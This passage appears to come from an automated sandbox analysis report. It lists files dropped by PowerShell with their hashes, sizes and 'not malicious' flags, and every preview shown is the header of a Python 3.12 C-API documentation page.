                    SHA-512:7D8F75345B4DBA6664856098537BEB5C6DB00A400D23E72EB1E0C62EEEFEDCEAE598295A0B0774411F83EC9DA9635C19497AC9904C146844CF092FBDE8958EA8
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Frame Objects" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/frame.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="The PyEval_GetFrame() and PyThreadState_GetFrame() functions can be used to get a frame object. See also Reflection. Internal Frames: Unless using PEP 523, you will not need this." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="The PyEval_GetFrame() and PyThreadState_GetFrame() functions can be used to get a frame obje
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1550), with CRLF line terminators
                    Category:dropped
                    Size (bytes):41352
                    Entropy (8bit):4.886201978528639
                    Encrypted:false
                    SSDEEP:
                    MD5:E1D9D4EB16CAAD47A8E14CFA57CE26CB
                    SHA1:49EBD5F98E6ADF1E49C819818FD676C41E872E1E
                    SHA-256:E388561BBC1EA809B5988A6E596F7E40C7AA500AF3699DD30FE51E931BBEE0E8
                    SHA-512:73AC31557E0B5BA7D81A47B2D8FF436E1C8A1069F8EF517C9F45F0A7420488DB4BB22A92034EEEA53DCDECFEE45883A24185ABFA48BEBD50020053C622E73561
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Function Objects" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/function.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="There are a few functions specific to Python functions." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="There are a few functions specific to Python functions." />..<meta property="og:image:width" content="200" />..<meta property="og:image:height" content="200" />..<meta name="theme-color" content="#3776ab" />...
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1387), with CRLF line terminators
                    Category:dropped
                    Size (bytes):54027
                    Entropy (8bit):4.921374655045684
                    Encrypted:false
                    SSDEEP:
                    MD5:F2B982F211EA79B09C1F4FB35B250060
                    SHA1:97E0714BD0DC03C72FC834B99990A940C20BCA4C
                    SHA-256:8945B6192A23B8007108D9E4592B028369548818BF05E4BB5B3856A9D1A9B532
                    SHA-512:466D5AC8A781456F7BB2ABC32EA08DC89D8DA7FD72060183AB960C1EF32F3B85841329B61B53B7F0DC98A2715ADFF8AFC7635D2FC38294792AEA4E651E011EBE
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Supporting Cyclic Garbage Collection" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/gcsupport.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Python.s support for detecting and collecting garbage which involves circular references requires support from object types which are .containers. for other objects which may also be containers. Ty..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Python.s support for detecting and c
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1305), with CRLF line terminators
                    Category:dropped
                    Size (bytes):19443
                    Entropy (8bit):4.887269112763904
                    Encrypted:false
                    SSDEEP:
                    MD5:7B4208B7497C5414C02DA91293AD4DC2
                    SHA1:5D3B643E555E8C35835B47B0A04BFE55DB13C583
                    SHA-256:663AD78D1DAAE753E7C93E348DD86435BA901B285ECB2D81AF163BAF0CF955FF
                    SHA-512:FAAA04017C4701E5A6A3F86349EA6B8CA75DD215172D68770A6D13926CEE35825100A48B87B575E82E222BF42698574CEE01D02C43D2B7B8C090A5B8E7E4B871
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Generator Objects" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/gen.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Generator objects are what Python uses to implement generator iterators. They are normally created by iterating over a function that yields values, rather than explicitly calling PyGen_New() or PyG..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Generator objects are what Python uses to implement generator iterato
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (536), with CRLF line terminators
                    Category:dropped
                    Size (bytes):17190
                    Entropy (8bit):4.883324490997966
                    Encrypted:false
                    SSDEEP:
                    MD5:4AE42ADEF8F2AF6FB296110969F586F9
                    SHA1:7459E1DC05EC49687EB35047CA84EA719E30BC36
                    SHA-256:2BDFAAB91AF2D0A51C46936D107DD30885176D6971E069BFC5A3CEFBC6982CFD
                    SHA-512:72825F93A41B253C97CC7F651890E083DDAB55C2A7B062888BBF99A9AA88131A3400B2815A9F5D4909FFDA4B81BA4DF9A3DFA30F6E5078B012834677D77C4752
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="PyHash API" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/hash.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="See also the PyTypeObject.tp_hash member." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="See also the PyTypeObject.tp_hash member." />..<meta property="og:image:width" content="200" />..<meta property="og:image:height" content="200" />..<meta name="theme-color" content="#3776ab" />.... <title>PyHash API &#8212; Python
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1720), with CRLF line terminators
                    Category:dropped
                    Size (bytes):67467
                    Entropy (8bit):4.85299626927617
                    Encrypted:false
                    SSDEEP:
                    MD5:0712766986B78D381D34B8021D93B7FE
                    SHA1:D7BB2D46C4A6BD851FC8D01B3459DAF3DE2DAEC7
                    SHA-256:CDC979588A09B5E96D8619B604A956BC84BB62A0216E341B273B31F0AFE6F7CD
                    SHA-512:C7A3E84331620C6CBE87669E8BFDF43F9A8811852F817DEA41A50FDD7D9ACAA2C4F970320897821CD144CB87E45CB50F685AFED9D0A10E47D1D321BFCADFB430
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Importing Modules" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/import.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta property="og:image:width" content="200" />..<meta property="og:image:height" content="200" />..<meta name="theme-color" content="#3776ab" />.... <title>Importing Modules &#8212; Python 3.12.3 documentation</title><meta name="viewport" content="width=device-width, initial-scale=1.0">.. .. <link rel="stylesheet" type="text/css" href
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (373), with CRLF line terminators
                    Category:dropped
                    Size (bytes):26042
                    Entropy (8bit):4.882844562211637
                    Encrypted:false
                    SSDEEP:
                    MD5:01F9F6A10A3E316293E9EF2BE36B2977
                    SHA1:8274BA10F8C4013738B92B192F7CC92592D3B470
                    SHA-256:2194919538FAC4D36A0FE09D2A8F2C2A595AC7B97E00AD27AB0839DC0E77A16C
                    SHA-512:850F7E723C8557F60976A718E7887CD3BD2D94787B9AEE5A66AECD32BDCBFD324300EA672A3753E515D2C719BA6CF051E75A5BB71AD3BF9521AE8B76A6AB1FC1
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Python/C API Reference Manual" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/index.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="This manual documents the API used by C and C++ programmers who want to write extension modules or embed Python. It is a companion to Extending and Embedding the Python Interpreter, which describes..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="This manual documents the API used by C and C++ program
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (882), with CRLF line terminators
                    Category:dropped
                    Size (bytes):279279
                    Entropy (8bit):4.890356416578371
                    Encrypted:false
                    SSDEEP:
                    MD5:5335A2D0DD436B3A936BD02C622D5C9E
                    SHA1:5AA19F1E5613E77C7536F35D1A049A72CD6FAD6B
                    SHA-256:315CE2E5E6136DBF1BA4CD5C2A0F4663ED208D825EEF9BDE9D5F3516A99310DD
                    SHA-512:26FF7D1ABEC21EB691A5631EEF195A1834D8DCDD4EBAF712FEE142BE75FFDC8B876F66D889B30FD986D5687B32EA046A83DFD56FD5D6F848A5495CB56A2CB8F4
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Initialization, Finalization, and Threads" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/init.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="See also Python Initialization Configuration. Before Python Initialization: In an application embedding Python, the Py_Initialize() function must be called before using any other Python/C API funct..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="See also Python Initialization Configuration
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1218), with CRLF line terminators
                    Category:dropped
                    Size (bytes):228040
                    Entropy (8bit):4.84968154443352
                    Encrypted:false
                    SSDEEP:
                    MD5:B352AFA08B6AAD5FA2A57A365A5F58BD
                    SHA1:55E6F710AAB95B5FB65C010A523FA9791DA1801D
                    SHA-256:39711E0FF96C99A885C2E30DFDFB24CED3C3B333164C0D33CA2EAA216459F185
                    SHA-512:9B21E1367D3DF27953A06EA33FE9D1872941DDAE6B081C1338DA74762838C8D005EED64C586790F83A437B1F87D5CCA117A91B84DFC4794684E766ED85372C27
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Python Initialization Configuration" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/init_config.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Python can be initialized with Py_InitializeFromConfig() and the PyConfig structure. It can be preinitialized with Py_PreInitialize() and the PyPreConfig structure. There are two kinds of configura..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Python can be initialized with Py_Initializ
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (626), with CRLF line terminators
                    Category:dropped
                    Size (bytes):106771
                    Entropy (8bit):4.859201129994066
                    Encrypted:false
                    SSDEEP:
                    MD5:A7EAE0AF8AEED9287CD40553A9FCB0B4
                    SHA1:ECB2BF6B24A06BBB530FC9192E13C34E5D104919
                    SHA-256:1CC1227EC4DAA4C12D6D6783A0BD93479F2C65ECF6E22D4DF734D824F576665D
                    SHA-512:1A6943D815B4F5A5043CB92C51D8AD31DEAF13C4FBCE962E8A9DEFBFAB2AEA41DEDA61D5E3E25B24DD1BEAEC51FD0444A3DF21285BD61E868FAAB96CF9C4FBF0
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Introduction" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/intro.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="The Application Programmer.s Interface to Python gives C and C++ programmers access to the Python interpreter at a variety of levels. The API is equally usable from C++, but for brevity it is gener..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="The Application Programmer.s Interface to Python gives C and C++ pro
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1269), with CRLF line terminators
                    Category:dropped
                    Size (bytes):22462
                    Entropy (8bit):4.867850146969797
                    Encrypted:false
                    SSDEEP:
                    MD5:E3C31E23767226555F438B0D0F105B87
                    SHA1:538FB61B5DA0671ECD91A181A4D9D630127972A7
                    SHA-256:A328EA7B34488C00ED1DBF7F326E3D4719CCD7CFEC7C89C8A04A0BC782A2DCCA
                    SHA-512:AD8B76CE307098B155B47517075F5AF06791F8BB6C1D81A84F521659109602EE5C174C522C06F0AB946BCB89238365BF0ABD2BCECC9922BC4ABC8B77FD8C4629
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Iterator Protocol" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/iter.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="There are two functions specifically for working with iterators. To write a loop which iterates over an iterator, the C code should look something like this:" />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="There are two functions specifically for working with iterators. To write a loop which iterates over an iterato
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1016), with CRLF line terminators
                    Category:dropped
                    Size (bytes):20665
                    Entropy (8bit):4.891099591900654
                    Encrypted:false
                    SSDEEP:
                    MD5:1D73062207865B5516A43A0578D7D724
                    SHA1:61EDB1ED38B1DB40840EEE6B6A338FE317EFD5DA
                    SHA-256:5CB407E5E9E7548B280036951503FD7C7E556DEB153206A5866A2264AEBB478D
                    SHA-512:585E9522C74F59EEFFA0494AA68C82137272F6129454AD548D1491123F5E46D3DD3FCF52AE4A8B4806DE1EA1480F0D6E66CDFFC09D860E2A4AFD6852277B08DD
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Iterator Objects" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/iterator.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Python provides two general-purpose iterator objects. The first, a sequence iterator, works with an arbitrary sequence supporting the__getitem__() method. The second works with a callable object an..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Python provides two general-purpose iterator objects. The first,
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1315), with CRLF line terminators
                    Category:dropped
                    Size (bytes):38118
                    Entropy (8bit):4.855039623443231
                    Encrypted:false
                    SSDEEP:
                    MD5:64A4967382B9586728095F62947076C9
                    SHA1:08C160C87AF093DB6AA296AA605E573078D6CE07
                    SHA-256:CA8B3F7FA2FEA9133E628038C1DA11A18DAA768AE02EB4AA03C2E8D25C449C4A
                    SHA-512:3BBB50B16CE7F6B0D7A49F329E5D6679089F5A9AE3FC616C7FACC9F49378951447B00963E6EFC87A561566CAB11303C71BA56618EA03B6E18351CD0434447C91
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="List Objects" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/list.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta property="og:image:width" content="200" />..<meta property="og:image:height" content="200" />..<meta name="theme-color" content="#3776ab" />.... <title>List Objects &#8212; Python 3.12.3 documentation</title><meta name="viewport" content="width=device-width, initial-scale=1.0">.. .. <link rel="stylesheet" type="text/css" href="../_static
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1093), with CRLF line terminators
                    Category:dropped
                    Size (bytes):72564
                    Entropy (8bit):4.8669890321048666
                    Encrypted:false
                    SSDEEP:
                    MD5:E4052F22EB7520397F2F0CB422DF43E8
                    SHA1:A8B575C2D6D01347C134DFC759A33EA3B4FE08DF
                    SHA-256:9EB760BD665F2F475C64AE01161C003D10E141B823704616ED0C283A00886EFC
                    SHA-512:FF1FD1D746CBF347948B7599970127A52A156029A3C22B1145780053D0326675A095DC2F476C9D50180C6CA31E7CD45B758EBAD322F6A86142AF6EF93C658C9B
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Integer Objects" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/long.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="All integers are implemented as .long. integer objects of arbitrary size. On error, most PyLong_As* APIs return(return type)-1 which cannot be distinguished from a number. Use PyErr_Occurred() to d..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="All integers are implemented as .long. integer objects of arbi
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1138), with CRLF line terminators
                    Category:dropped
                    Size (bytes):32689
                    Entropy (8bit):4.876693781272095
                    Encrypted:false
                    SSDEEP:
                    MD5:5B5A0C20BF99C44DB6DB0B7E5CB2B217
                    SHA1:946218CB5B0EF8CCCB126F76147CCBD0DA15745E
                    SHA-256:0CFB6374AF1AB7F3759A3F387283CEC14878D40F613792D51682F83802CDE039
                    SHA-512:31455CF41F996F7F4A24C30B2EB9D5932868D579A39451C794A50733134B02C1D495D095B016C3D94DE9048F1030DAA9B8886C7A5F1E0885B6FD04B847D2F4C2
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Mapping Protocol" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/mapping.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="See also PyObject_GetItem(), PyObject_SetItem() and PyObject_DelItem()." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="See also PyObject_GetItem(), PyObject_SetItem() and PyObject_DelItem()." />..<meta property="og:image:width" content="200" />..<meta property="og:image:height" content="200" />..<meta name="theme
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (980), with CRLF line terminators
                    Category:dropped
                    Size (bytes):27348
                    Entropy (8bit):4.882288409260469
                    Encrypted:false
                    SSDEEP:
                    MD5:34AE2B3BF34417AB6BCBCDF6D54D2650
                    SHA1:AED9721711F9115E6239A7AEC6984062EF76D485
                    SHA-256:D8ED281E602DC2E3CF261E722D4D0366C7D791D013BE125B29C04A1C0C724126
                    SHA-512:1ADDC73E3394FBF4C2D261A6F6D6119A196A4E22C406BB91E6D7F161B32764F2DCDA5965AC6D71BDC4E18A2254A5491D90051B2FCD556E7006F7248C73FEA97E
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Data marshalling support" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/marshal.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="These routines allow C code to work with serialized objects using the same data format as the marshal module. There are functions to write data into the serialization format, and additional functio..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="These routines allow C code to work with serialized object
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (867), with CRLF line terminators
                    Category:dropped
                    Size (bytes):101591
                    Entropy (8bit):4.904770652791002
                    Encrypted:false
                    SSDEEP:
                    MD5:E7A109EEAEE6A04D2B153ADD299BF0EF
                    SHA1:C5732E0431F612E6A76688C2705E61F88BEB1D29
                    SHA-256:A75E8E0DFE8A657E47FE4EE6478C4DB12BC122167754B7368DFFB2283D40C264
                    SHA-512:397B18447F846E8EB8EE7D84D231B1EAEE1FF9A9F79E8F5DCF7FA2398FDC041CBBEBA57C89AE2408BEDD7D1383E35E7C13962AD329A079AFF1EA5791FBAED7BB
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Memory Management" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/memory.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Overview: Memory management in Python involves a private heap containing all Python objects and data structures. The management of this private heap is ensured internally by the Python memory manag..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Overview: Memory management in Python involves a private heap cont
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1031), with CRLF line terminators
                    Category:dropped
                    Size (bytes):24626
                    Entropy (8bit):4.951601243376123
                    Encrypted:false
                    SSDEEP:
                    MD5:244D809BFB4BFA9ECC9361C29162D13D
                    SHA1:0448CFD6C79901B82B6E8A100DEE779927AF2FDF
                    SHA-256:AB57C79B33B47F78AA31E4A41A8CD5AF5AECAF39485338E32328098E3038240B
                    SHA-512:1DB073C3DD566DB31EC42EAB69461A6CFB506D5CB9E849F46B4B11A0141F89D21D8D213267C59C1C8E2CA4C0006C4C8290FE3A3586CE2CB2EF16A5A4C97E0720
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="MemoryView objects" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/memoryview.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="A memoryview object exposes the C level buffer interface as a Python object which can then be passed around like any other object." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="A memoryview object exposes the C level buffer interface as a Python object which can then be passed around like any other object."
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1004), with CRLF line terminators
                    Category:dropped
                    Size (bytes):27464
                    Entropy (8bit):4.912250905283024
                    Encrypted:false
                    SSDEEP:
                    MD5:1CF1AE28A1AE7EB927CE3558A61EB152
                    SHA1:203AEABF6A59396D82C0F52A5D2E945FE58A445D
                    SHA-256:60FB9CA8B9A006068AB1BB14B8D367407479C45D1593BED7CCDB1570A7B7AA71
                    SHA-512:1A54AD79888434202F144E7849A0ADC714BC4614B4992F78CDDA2EF23CD300786019E86A85AD59A98A2D0C056BEE090F3D1C05773F2CA1404327DE2B6C80F57E
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Instance Method Objects" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/method.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="An instance method is a wrapper for a PyCFunction and the new way to bind a PyCFunction to a class object. It replaces the former call PyMethod_New(func, NULL, class). Method Objects: Methods are b..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="An instance method is a wrapper for a PyCFunction and the ne
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1019), with CRLF line terminators
                    Category:dropped
                    Size (bytes):105105
                    Entropy (8bit):4.873253108646738
                    Encrypted:false
                    SSDEEP:
                    MD5:4102859F18EB7FE49FD3247C6E2D132C
                    SHA1:6F9B9B991025726136C26D626465F70D6354155F
                    SHA-256:46F210E8AF5958292538FBF9CD3A158EFC04AD81A110D47421D5921843C9F4D8
                    SHA-512:206FAD1D1D9296F5B2E9B463AAB58B099AF7C256EE5918CF012382530DB62E8B699EC810EF367E12807B084FCD26A39F3B8F667D5BEB3AF7595E849B37AA4CB3
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Module Objects" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/module.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Initializing C modules: Modules objects are usually created from extension modules (shared libraries which export an initialization function), or compiled-in modules (where the initialization funct..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Initializing C modules: Modules objects are usually created from exte
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (396), with CRLF line terminators
                    Category:dropped
                    Size (bytes):15351
                    Entropy (8bit):4.859041556775392
                    Encrypted:false
                    SSDEEP:
                    MD5:13B5A9AEB89F18E1ECFEE8EF7D325601
                    SHA1:972EC36277470B4DCFF3FDA5A6A0531B252BE8B2
                    SHA-256:61DE1432B57FB12A5A5B84D8AA9E175C4E8A2A216CA801949AFAD2B68925F76B
                    SHA-512:CEFAF7C7A87FA17E7B6E7B9EDE19BF76A9E7C2611E493303CEB3348A569204EF70123E74CE7074B3638227F774E7F62DF0C215D880C9933D87AE34D8D5225E5F
                    Malicious:false
                    Reputation:unknown
